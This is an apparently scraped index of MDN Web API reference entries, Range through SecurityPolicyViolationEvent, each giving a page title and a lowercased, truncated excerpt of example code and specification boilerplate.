example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); bool = range.ispointinrange(document.getelementsbytagname("p").item(0),1); specification specification status comment domthe definition of 'range.ispointinrange()' in that specification.
Range.selectNode() - Web APIs
WebAPIRangeselectNode
example let range = document.createrange(); let referencenode = document.getelementsbytagname('div').item(0); range.selectnode(referencenode); specifications specification status comment domthe definition of 'range.selectnode()' in that specification.
Range.selectNodeContents() - Web APIs
ection const selection = window.getselection(); selection.removeallranges(); // select paragraph const range = document.createrange(); range.selectnodecontents(p); selection.addrange(range); }); deselectbutton.addeventlistener('click', e => { const selection = window.getselection(); selection.removeallranges(); }); result specifications specification status comment domthe definition of 'range.selectnodecontents()' in that specification.
Range.setEndAfter() - Web APIs
WebAPIRangesetEndAfter
example var range = document.createrange(); var referencenode = document.getelementsbytagname('div').item(0); range.setendafter(referencenode); specifications specification status comment domthe definition of 'range.setendafter()' in that specification.
Range.setEndBefore() - Web APIs
example var range = document.createrange(); var referencenode = document.getelementsbytagname("div").item(0); range.setendbefore(referencenode); specifications specification status comment domthe definition of 'range.setendbefore()' in that specification.
Range.setStartAfter() - Web APIs
example var range = document.createrange(); var referencenode = document.getelementsbytagname("div").item(0); range.setstartafter(referencenode); specifications specification status comment domthe definition of 'range.setstartafter()' in that specification.
Range.setStartBefore() - Web APIs
example var range = document.createrange(); var referencenode = document.getelementsbytagname("div").item(0); range.setstartbefore(referencenode); specifications specification status comment domthe definition of 'range.setstartbefore()' in that specification.
Range.startContainer - Web APIs
syntax startrangenode = range.startcontainer; example range = document.createrange(); range.setstart(startnode,startoffset); range.setend(endnode,endoffset); startrangenode = range.startcontainer; specifications specification status comment domthe definition of 'range.endcontainer' in that specification.
Range.surroundContents() - Web APIs
example html <span class="header-text">put this in a headline</span> javascript const range = document.createrange(); const newparent = document.createelement('h1'); range.selectnode(document.queryselector('.header-text')); range.surroundcontents(newparent); result specifications specification status comment domthe definition of 'range.surroundcontents()' in that specification.
Range.toString() - Web APIs
WebAPIRangetoString
look at the output below.</p> <p id="log"></p> javascript const range = document.createrange(); range.setstartbefore(document.getelementsbytagname('b').item(0), 0); range.setendafter(document.getelementsbytagname('b').item(1), 0); document.getelementbyid('log').textcontent = range.tostring(); result specifications specification status comment domthe definition of 'range.tostring()' in that specification.
ReadableByteStreamController.byobRequest - Web APIs
specifications specification status comment streamsthe definition of 'byobrequest' in that specification.
ReadableByteStreamController.close() - Web APIs
specifications specification status comment streamsthe definition of 'close()' in that specification.
ReadableByteStreamController.desiredSize - Web APIs
specifications specification status comment streamsthe definition of 'desiredsize' in that specification.
ReadableByteStreamController.enqueue() - Web APIs
specifications specification status comment streamsthe definition of 'enqueue()' in that specification.
ReadableByteStreamController.error() - Web APIs
specifications specification status comment streamsthe definition of 'error()' in that specification.
ReadableByteStreamController - Web APIs
specifications specification status comment streamsthe definition of 'readablebytestreamcontroller' in that specification.
ReadableStream.cancel() - Web APIs
does the response lack cors headers?"); throw err; }); specifications specification status comment streamsthe definition of 'cancel()' in that specification.
ReadableStream.getReader() - Web APIs
current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } specifications specification status comment streamsthe definition of 'getreader()' in that specification.
ReadableStream.locked - Web APIs
}); const reader = stream.getreader(); stream.locked // should return true, as the stream has been locked to a reader specifications specification status comment streamsthe definition of 'locked' in that specification.
ReadableStream.pipeThrough() - Web APIs
tch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) .then(rs => logreadablestream('fetch response stream', rs)) // create a gray-scaled png stream out of the original .then(body => body.pipethrough(new pngtransformstream())) .then(rs => logreadablestream('png chunk stream', rs)) specifications specification status comment streamsthe definition of 'pipethrough()' in that specification.
ReadableStream.pipeTo() - Web APIs
examples // fetch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) .then(body => body.pipethrough(new pngtransformstream())) .then(rs => rs.pipeto(new finaldestinationstream())) specifications specification status comment streamsthe definition of 'pipeto()' in that specification.
ReadableStream.tee() - Web APIs
current chunk = ' + chunk; list.appendchild(listitem); // read some more, and call this function again return reader.read().then(processtext); }); } specifications specification status comment streamsthe definition of 'tee()' in that specification.
ReadableStream - Web APIs
inished sending data controller.close(); return; } // get the data and send it to the browser via the controller controller.enqueue(value); push(); }); }; push(); } }); return new response(stream, { headers: { "content-type": "text/html" } }); }); specifications specification status comment streamsthe definition of 'readablestream' in that specification.
ReadableStreamBYOBReader.ReadableStreamBYOBReader() - Web APIs
examples tbd specifications specification status comment streamsthe definition of 'readablestreambyobreader()' in that specification.
ReadableStreamBYOBReader.cancel() - Web APIs
specifications specification status comment streamsthe definition of 'cancel()' in that specification.
ReadableStreamBYOBReader.closed - Web APIs
specifications specification status comment streamsthe definition of 'closed' in that specification.
ReadableStreamBYOBReader.read() - Web APIs
specifications specification status comment streamsthe definition of 'read()' in that specification.
ReadableStreamBYOBReader.releaseLock() - Web APIs
specifications specification status comment streamsthe definition of 'releaselock()' in that specification.
ReadableStreamBYOBReader - Web APIs
specifications specification status comment streamsthe definition of 'readablestreambyobreader' in that specification.
ReadableStreamBYOBRequest.respond() - Web APIs
specifications specification status comment streamsthe definition of 'respond()' in that specification.
ReadableStreamBYOBRequest.respondWithNewView() - Web APIs
specifications specification status comment streamsthe definition of 'respondwithnewview()' in that specification.
ReadableStreamBYOBRequest.view - Web APIs
specifications specification status comment streamsthe definition of 'view' in that specification.
ReadableStreamBYOBRequest - Web APIs
specifications specification status comment streamsthe definition of 'readablestreambyobrequest' in that specification.
ReadableStreamDefaultController.close() - Web APIs
addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment streamsthe definition of 'close()' in that specification.
ReadableStreamDefaultController.desiredSize - Web APIs
specifications specification status comment streamsthe definition of 'desiredsize' in that specification.
ReadableStreamDefaultController.enqueue() - Web APIs
addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment streamsthe definition of 'enqueue()' in that specification.
ReadableStreamDefaultController.error() - Web APIs
specifications specification status comment streamsthe definition of 'error()' in that specification.
ReadableStreamDefaultController - Web APIs
addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment streamsthe definition of 'readablestreamdefaultcontroller' in that specification.
ReadableStreamDefaultReader.ReadableStreamDefaultReader() - Web APIs
current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } specifications specification status comment streamsthe definition of 'readablestreamdefaultreader()' in that specification.
ReadableStreamDefaultReader.cancel() - Web APIs
current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } specifications specification status comment streamsthe definition of 'cancel()' in that specification.
ReadableStreamDefaultReader.closed - Web APIs
reader.closed.then(() => { console.log('reader closed'); }) specifications specification status comment streamsthe definition of 'closed' in that specification.
ReadableStreamDefaultReader.read() - Web APIs
index = re.lastindex = 0; continue; } yield chunk.substring(startindex, result.index); startindex = re.lastindex; } if (startindex < chunk.length) { // last line didn't end in a newline char yield chunk.substr(startindex); } } for await (let line of maketextfilelineiterator(urloffile)) { processline(line); } specifications specification status comment streamsthe definition of 'read()' in that specification.
ReadableStreamDefaultReader.releaseLock() - Web APIs
} specifications specification status comment streamsthe definition of 'releaselock()' in that specification.
ReadableStreamDefaultReader - Web APIs
inished sending data controller.close(); return; } // get the data and send it to the browser via the controller controller.enqueue(value); push(); }); }; push(); } }); return new response(stream, { headers: { "content-type": "text/html" } }); }); specifications specification status comment streamsthe definition of 'readablestreamdefaultreader' in that specification.
RenderingContext - Web APIs
specifications specification status comment html living standardthe definition of 'renderingcontext' in that specification.
Report.body - Web APIs
WebAPIReportbody
a deprecationreportbody object console.log(firstreport.body); }, options); specifications specification status comment reporting apithe definition of 'report.body' in that specification.
Report.type - Web APIs
WebAPIReporttype
"deprecation" console.log(firstreport.type); }, options); specifications specification status comment reporting apithe definition of 'report.body' in that specification.
Report.url - Web APIs
WebAPIReporturl
"https://www.example.com/cats.html" console.log(firstreport.url); }, options); specifications specification status comment reporting apithe definition of 'report.url' in that specification.
Report - Web APIs
WebAPIReport
specifications specification status comment reporting apithe definition of 'report' in that specification.
ReportingObserver.disconnect() - Web APIs
observer.disconnect() specifications specification status comment reporting apithe definition of 'reportingobserver.disconnect()' in that specification.
ReportingObserver.observe() - Web APIs
syntax reportingobserverinstance.observe() examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); observer.observe() specifications specification status comment reporting apithe definition of 'reportingobserver.observe()' in that specification.
ReportingObserver.takeRecords() - Web APIs
let records = observer.takerecords(); console.log(records); specifications specification status comment reporting apithe definition of 'reportingobserver.takerecords()' in that specification.
ReportingObserver - Web APIs
specifications specification status comment reporting apithe definition of 'reportingobserver' in that specification.
ReportingObserverOptions - Web APIs
examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); specifications specification status comment reporting apithe definition of 'reportingobserveroptions' in that specification.
Reporting API - Web APIs
specifications specification status comment reporting api spec ...
Request() - Web APIs
WebAPIRequestRequest
specifications specification status comment fetchthe definition of 'request()' in that specification.
Request.cache - Web APIs
WebAPIRequestcache
return res }) .then(function(response) { /* consume the (possibly stale) response */ }) .catch(error => { /* can be an aborterror/domerror or a typeerror */ }); specifications specification status comment fetchthe definition of 'cache' in that specification.
Request.clone() - Web APIs
WebAPIRequestclone
var myrequest = new request('flowers.jpg'); var newrequest = myrequest.clone(); // a copy of the request is now stored in newrequest specifications specification status comment fetchthe definition of 'clone' in that specification.
Request.credentials - Web APIs
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request credentials in a variable: var myrequest = new request('flowers.jpg'); var mycred = myrequest.credentials; // returns "same-origin" by default specifications specification status comment fetchthe definition of 'credentials' in that specification.
Request.destination - Web APIs
example in the following snippet, we create a new request using the request() constructor (for an image file in the same directory as the script), then save the request's destination: var myrequest = new request('flowers.jpg'); var mydestination = myrequest.destination; // returns the empty string by default specifications specification status comment fetchthe definition of 'destination' in that specification.
Request.headers - Web APIs
WebAPIRequestheaders
passing headers in as an init option: var myheaders = new headers(); myheaders.append('content-type', 'image/jpeg'); var myinit = { method: 'get', headers: myheaders, mode: 'cors', cache: 'default' }; var myrequest = new request('flowers.jpg', myinit); mycontenttype = myrequest.headers.get('content-type'); // returns 'image/jpeg' specifications specification status comment fetchthe definition of 'headers' in that specification.
Request.integrity - Web APIs
WebAPIRequestintegrity
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request integrity value in a variable: var myrequest = new request('flowers.jpg'); var myintegrity = myrequest.integrity; specifications specification status comment fetchthe definition of 'integrity' in that specification.
Request.method - Web APIs
WebAPIRequestmethod
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the method of the request in a variable: var myrequest = new request('flowers.jpg'); var mymethod = myrequest.method; // get specifications specification status comment fetchthe definition of 'method' in that specification.
Request.mode - Web APIs
WebAPIRequestmode
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request mode in a variable: var myrequest = new request('flowers.jpg'); var mymode = myrequest.mode; // returns "cors" by default specifications specification status comment fetchthe definition of 'mode' in that specification.
Request.redirect - Web APIs
WebAPIRequestredirect
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request redirect value in a variable: var myrequest = new request('flowers.jpg'); var mycred = myrequest.redirect; specifications specification status comment fetchthe definition of 'redirect' in that specification.
Request.referrer - Web APIs
WebAPIRequestreferrer
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request referrer in a variable: var myrequest = new request('flowers.jpg'); var myreferrer = myrequest.referrer; // returns "about:client" by default specifications specification status comment fetchthe definition of 'referrer' in that specification.
Request.referrerPolicy - Web APIs
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request referrer policy in a variable: var myrequest = new request('flowers.jpg'); var myreferrer = myrequest.referrerpolicy; // returns "" by default specifications specification status comment fetchthe definition of 'referrerpolicy' in that specification.
Request.url - Web APIs
WebAPIRequesturl
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the url of the request in a variable: var myrequest = new request('flowers.jpg'); var myurl = myrequest.url; // "http://mdn.github.io/fetch-examples/fetch-request/flowers.jpg" specifications specification status comment fetchthe definition of 'url' in that specification.
Request - Web APIs
WebAPIRequest
}).catch(error => { console.error(error); }); specifications specification status comment fetchthe definition of 'request' in that specification.
RequestDestination - Web APIs
specifications specification status comment fetchthe definition of 'requestdestination' in that specification.
ResizeObserver() - Web APIs
entboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentrect.width/600) + 'rem'; } } }); resizeobserver.observe(divelem); specifications specification status comment resize observerthe definition of 'resizeobserver' in that specification.
ResizeObserver.disconnect() - Web APIs
examples btn.addeventlistener('click', () => { resizeobserver.disconnect(); }) specifications specification status comment resize observerthe definition of 'disconnect()' in that specification.
ResizeObserver.observe() - Web APIs
'; } else { h1elem.style.fontsize = math.max(1.5, entry.contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentrect.width/600) + 'rem'; } } }); resizeobserver.observe(divelem); an observe() call with an options object would look like so: resizeobserver.observe(divelem, { box : 'border-box' }); specifications specification status comment resize observerthe definition of 'observe()' in that specification.
ResizeObserver.unobserve() - Web APIs
math.max(1.5, entry.contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentrect.width/600) + 'rem'; } } }); resizeobserver.observe(divelem); checkbox.addeventlistener('change', () => { if(checkbox.checked) { resizeobserver.observe(divelem); } else { resizeobserver.unobserve(divelem); } }); specifications specification status comment resize observerthe definition of 'unobserve()' in that specification.
ResizeObserver - Web APIs
max(1.5, entry.contentrect.width / 200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentrect.width / 600) + 'rem'; } } }); resizeobserver.observe(divelem); checkbox.addeventlistener('change', () => { if (checkbox.checked) { resizeobserver.observe(divelem); } else { resizeobserver.unobserve(divelem); } }); specifications specification status comment resize observerthe definition of 'resizeobserver' in that specification.
ResizeObserverEntry.borderBoxSize - Web APIs
(entry.borderboxsize[0].blocksize/10)) + 'px'; } else { entry.target.style.borderradius = math.min(100, (entry.contentrect.width/10) + (entry.contentrect.height/10)) + 'px'; } } }); resizeobserver.observe(document.queryselector('div')); specifications specification status comment resize observerthe definition of 'target' in that specification.
ResizeObserverEntry.contentBoxSize - Web APIs
(entry.contentboxsize.blocksize/10)) + 'px'; } else { entry.target.style.borderradius = math.min(100, (entry.contentrect.width/10) + (entry.contentrect.height/10)) + 'px'; } } }); resizeobserver.observe(document.queryselector('div')); specifications specification status comment resize observerthe definition of 'target' in that specification.
ResizeObserverEntry.contentRect - Web APIs
entboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentrect.width/600) + 'rem'; } } }); resizeobserver.observe(divelem); specifications specification status comment resize observerthe definition of 'contentrect' in that specification.
ResizeObserverEntry.target - Web APIs
(entry.contentboxsize.blocksize/10)) + 'px'; } else { entry.target.style.borderradius = math.min(100, (entry.contentrect.width/10) + (entry.contentrect.height/10)) + 'px'; } } }); resizeobserver.observe(document.queryselector('div')); specifications specification status comment resize observerthe definition of 'target' in that specification.
ResizeObserverEntry - Web APIs
entboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentrect.width/600) + 'rem'; } } }); resizeobserver.observe(divelem); specifications specification status comment resize observerthe definition of 'resizeobserverentry' in that specification.
Resize Observer API - Web APIs
(entry.contentboxsize.blocksize/10)) + 'px'; } else { entry.target.style.borderradius = math.min(100, (entry.contentrect.width/10) + (entry.contentrect.height/10)) + 'px'; } } }); resizeobserver.observe(document.queryselector('div')); specifications specification status comment resize observer editor's draft initial definition.
Response() - Web APIs
WebAPIResponseResponse
n our fetch response example (see fetch response live) we create a new response object using the constructor, passing it a new blob as a body, and an init object containing a custom status and statustext: var myblob = new blob(); var init = { "status" : 200 , "statustext" : "supersmashinggreat!" }; var myresponse = new response(myblob,init); specifications specification status comment fetchthe definition of 'response()' in that specification.
Response.clone() - Web APIs
WebAPIResponseclone
.jpg'); fetch(myrequest).then(function(response) { var response2 = response.clone(); response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); image1.src = objecturl; }); response2.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); image2.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'clone()' in that specification.
Response.error() - Web APIs
WebAPIResponseerror
specifications specification status comment fetchthe definition of 'error()' in that specification.
Response.headers - Web APIs
WebAPIResponseheaders
var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.headers); // returns a headers{} object response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'headers' in that specification.
Response.ok - Web APIs
WebAPIResponseok
ar myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.ok); // returns true if the response returned successfully response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'ok' in that specification.
Response.redirect() - Web APIs
WebAPIResponseredirect
example responseobj.redirect('https://www.example.com', 302); specifications specification status comment fetchthe definition of 'redirect()' in that specification.
Response.redirected - Web APIs
set the redirect mode to "error" in the init parameter when calling fetch(), like this: fetch("awesome-picture.jpg", { redirect: "error" }).then(function(response) { return response.blob(); }).then(function(imageblob) { let imgobjecturl = url.createobjecturl(imageblob); document.getelementbyid("img-element-id").src = imgobjecturl; }); specifications specification status comment fetchthe definition of 'redirected' in that specification.
Response.status - Web APIs
WebAPIResponsestatus
var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.status); // returns 200 response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'status' in that specification.
Response.statusText - Web APIs
ge = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.statustext); // returns "ok" if the response returned successfully response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'statustext' in that specification.
Response.url - Web APIs
WebAPIResponseurl
var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.url); // returns /docs/web/api/response/flowers.jpg response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'url' in that specification.
Response - Web APIs
WebAPIResponse
= document.queryselector('.my-image'); fetch('flowers.jpg').then(function(response) { return response.blob(); }).then(function(blob) { const objecturl = url.createobjecturl(blob); image.src = objecturl; }); you can also use the response.response() constructor to create your own custom response object: const response = new response(); specifications specification status comment fetchthe definition of 'response' in that specification.
SVGAElement - Web APIs
not _blank"); } } specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation replaced inheritance from svgelement by svggraphicselement and removed the interface implementations of svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by htmlhyperlinkelementutils scalable vector graphics (svg) 1.1 (second edition) recommendation initial definiti...
SVGAnimatedString.animVal - Web APIs
syntax var = object.animval specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility table on this page is generated from structured data.
SVGAnimatedString.baseVal - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility table on this page is generated from structured data.
SVGAnimatedString - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility table on this page is generated from structured data.
SVGAnimationElement.onbegin - Web APIs
syntax var begineventhandler = someelement.onbegin; specifications specification status comment svg animations level 2the definition of 'svganimationelement.onbegin' in that specification.
SVGAnimationElement.onend - Web APIs
syntax var endeventhandler = someelement.onend; specifications specification status comment svg animations level 2the definition of 'svganimationelement.onend' in that specification.
SVGAnimationElement.onrepeat - Web APIs
syntax var repeateventhandler = someelement.onrepeat; specifications specification status comment svg animations level 2the definition of 'svganimationelement.onrepeat' in that specification.
SVGFEDropShadowElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfedropshadowelement' in that specification.
SVGGraphicsElement: copy event - Web APIs
</svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascript document.getelementsbytagname("text")[0].addeventlistener("copy", evt => { evt.clipboarddata.setdata('text/plain', document.getselection().tostring().touppercase()); evt.preventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the clipboard events apply to svg elements.
SVGGraphicsElement: cut event - Web APIs
specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the clipboard events apply to svg elements.
SVGGraphicsElement: paste event - Web APIs
t> </svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascript document.getelementbyid("element-to-paste-text").addeventlistener("paste", evt => { evt.target.textcontent = evt.clipboarddata.getdata("text/plain").touppercase(); evt.preventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the clipboard events apply to svg elements.
SVGImageElement.decode - Web APIs
specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation initial definition.
SVGImageElement.decoding - Web APIs
examples var img = new image(); img.decoding = 'sync'; img.src = 'img/logo.svg'; specifications specification status comment html living standardthe definition of 'decoding' in that specification.
SVGLengthList - Web APIs
any changes made to the item are immediately reflected in the list.
SVGNumberList - Web APIs
any changes made to the item are immediately reflected in the list.
SVGPathSegList - Web APIs
any changes made to the item are immediately reflected in the list.
SVGPointList - Web APIs
any changes made to the item are immediately reflected in the list.
SVGStringList - Web APIs
any changes made to the item are immediately reflected in the list.
SVGStylable - Web APIs
the returned object is live; changes to the objects represent immediate changes to the objects to which the cssvalue is attached.
SVGTransform - Web APIs
the matrix object is live, meaning that any changes made to the svgtransform object are immediately reflected in the matrix object and vice versa.
Screen.availHeight - Web APIs
specifications specification status comment css object model (cssom) view modulethe definition of 'screen.availheight' in that specification.
Screen.availWidth - Web APIs
WebAPIScreenavailWidth
syntax var width = window.screen.availwidth example var screenavailwidth = window.screen.availwidth; console.log(screenavailwidth); specifications specification status comment css object model (cssom) view modulethe definition of 'screen.availwidth' in that specification.
Screen.colorDepth - Web APIs
WebAPIScreencolorDepth
syntax bitdepth = window.screen.colordepth; example // check the color depth of the screen if ( window.screen.colordepth < 8) { // use low-color version of page } else { // use regular, colorful page } specification specification status comment css object model (cssom) view modulethe definition of 'screen.colordepth' in that specification.
Screen.height - Web APIs
WebAPIScreenheight
specification specification status comment css object model (cssom) view modulethe definition of 'screen.height' in that specification.
Screen.lockOrientation() - Web APIs
ked } else { // orientation lock failed } usage with an array argument screen.lockorientationuniversal = screen.lockorientation || screen.mozlockorientation || screen.mslockorientation; if (screen.lockorientationuniversal(["landscape-primary", "landscape-secondary"])) { // orientation was locked } else { // orientation lock failed } specifications specification status comment screen orientation apithe definition of 'lockorientation()' in that specification.
Screen.onorientationchange - Web APIs
specifications specification status comment screen orientation apithe definition of 'onorientationchange' in that specification.
Screen.pixelDepth - Web APIs
WebAPIScreenpixelDepth
syntax let depth = window.screen.pixeldepth example // if there is not adequate bit depth // choose a simpler color if ( window.screen.pixeldepth > 8 ) { document.style.color = "#faebd7"; } else { document.style.color = "#ffffff"; } specifications specification status comment css object model (cssom) view modulethe definition of 'screen.pixeldepth' in that specification.
Screen.unlockOrientation() - Web APIs
example var unlockorientation = screen.unlockorientation || screen.mozunlockorientation || screen.msunlockorientation || (screen.orientation && screen.orientation.unlock); if (unlockorientation()) { // orientation was unlocked } else { // orientation unlock failed } specifications specification status comment screen orientation apithe definition of 'lockorientation()' in that specification.
Screen.width - Web APIs
WebAPIScreenwidth
specification specification status comment css object model (cssom) view modulethe definition of 'screen.width' in that specification.
Screen - Web APIs
WebAPIScreen
void seteventhandler(domstring type, eventhandler handler) eventhandler geteventhandler(domstring type) example if (screen.pixeldepth < 8) { // use low-color version of page } else { // use regular, colorful page } specification specification status comment css object model (cssom) view modulethe definition of 'screen' in that specification.
ScreenOrientation.angle - Web APIs
specifications specification status comment screen orientation apithe definition of 'angle' in that specification.
ScreenOrientation.lock() - Web APIs
specifications specification status comment screen orientation apithe definition of 'lock()' in that specification.
ScreenOrientation.onchange - Web APIs
} specifications specification status comment screen orientation apithe definition of 'onchange' in that specification.
ScreenOrientation.type - Web APIs
specifications specification status comment screen orientation apithe definition of 'type' in that specification.
ScreenOrientation.unlock() - Web APIs
specifications specification status comment screen orientation apithe definition of 'unlock()' in that specification.
ScreenOrientation - Web APIs
specifications specification status comment screen orientation apithe definition of 'screenorientation' in that specification.
Using the Screen Capture API - Web APIs
capturing shared audio getdisplaymedia() is most commonly used to capture video of a user's screen (or parts thereof).
Screen Capture API - Web APIs
specifications specification status comment screen capture working draft initial definition ...
Screen Orientation API - Web APIs
interfaces screenorientation specifications specification status comment screen orientation api working draft initial definition.
ScriptProcessorNode: audioprocess event - Web APIs
} specifications specification status comment web audio apithe definition of 'audioprocessingevent' in that specification.
ScriptProcessorNode.bufferSize - Web APIs
} } getdata(); // wire up play button playbutton.onclick = function() { source.connect(scriptnode); scriptnode.connect(audioctx.destination); source.start(); } // when the buffer source stops playing, disconnect everything source.onended = function() { source.disconnect(scriptnode); scriptnode.disconnect(audioctx.destination); } specifications specification status comment web audio apithe definition of 'buffersize' in that specification.
ScriptProcessorNode.onaudioprocess - Web APIs
etdata(); // wire up play button playbutton.onclick = function() { source.connect(scriptnode); scriptnode.connect(audioctx.destination); source.start(); } // when the buffer source stops playing, disconnect everything source.onended = function() { source.disconnect(scriptnode); scriptnode.disconnect(audioctx.destination); } specifications specification status comment web audio apithe definition of 'onaudioprocess' in that specification.
ScrollToOptions.behavior - Web APIs
'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom) view modulethe definition of 'behavior' in that specification.
ScrollToOptions.left - Web APIs
'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom) view modulethe definition of 'left' in that specification.
ScrollToOptions.top - Web APIs
'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom) view modulethe definition of 'top' in that specification.
ScrollToOptions - Web APIs
'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom) view modulethe definition of 'scrolltooptions' in that specification.
SecurityPolicyViolationEvent.SecurityPolicyViolationEvent() - Web APIs
}); specifications specification status comment content security policy level 3the definition of 'securitypolicyviolationevent' in that specification.
SecurityPolicyViolationEvent.blockedURI - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.blockeduri); }); specifications specification status comment content security policy level 3the definition of 'blockeduri' in that specification.
SecurityPolicyViolationEvent.columnNumber - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.columnnumber); }); specifications specification status comment content security policy level 3the definition of 'columnnumber' in that specification.
SecurityPolicyViolationEvent.disposition - Web APIs
possible values are "enforce" or "report" example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.disposition); }); specifications specification status comment content security policy level 3the definition of 'disposition' in that specification.
SecurityPolicyViolationEvent.documentURI - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.documenturi); }); specifications specification status comment content security policy level 3the definition of 'documenturi' in that specification.
SecurityPolicyViolationEvent.effectiveDirective - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.effectivedirective); }); specifications specification status comment content security policy level 3the definition of 'effectivedirective' in that specification.
SecurityPolicyViolationEvent.lineNumber - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.linenumber); }); specifications specification status comment content security policy level 3the definition of 'linenumber' in that specification.
SecurityPolicyViolationEvent.originalPolicy - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.originalpolicy); }); specifications specification status comment content security policy level 3the definition of 'originalpolicy' in that specification.
SecurityPolicyViolationEvent.referrer - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.referrer); }); specifications specification status comment content security policy level 3the definition of 'referrer' in that specification.
SecurityPolicyViolationEvent.sample - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.sample); }); specifications specification status comment content security policy level 3the definition of 'sample' in that specification.
SecurityPolicyViolationEvent.sourceFile - Web APIs
